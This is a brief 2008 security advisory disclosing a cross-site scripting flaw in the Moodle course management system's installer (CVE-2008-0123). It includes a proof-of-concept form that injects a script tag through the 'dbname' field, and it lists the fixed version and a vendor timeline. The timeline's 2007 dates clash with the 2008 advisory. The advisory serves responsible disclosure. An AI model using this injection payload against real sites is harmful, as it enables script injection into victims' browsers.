Moodle is a course management system for educators.
Sample XSS code:
<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form>
Update to 1.8.4.
2007-01-08 Vendor contacted
2007-01-08 Vendor fixed cvs
2007-01-11 Vendor released 1.8.4
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-0123 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems.
This vulnerability was discovered by Hanno Boeck of schokokeks.org webhosting. It's licensed under the creative commons attribution license.
Hanno Boeck, 2008-01-12, http://www.hboeck.de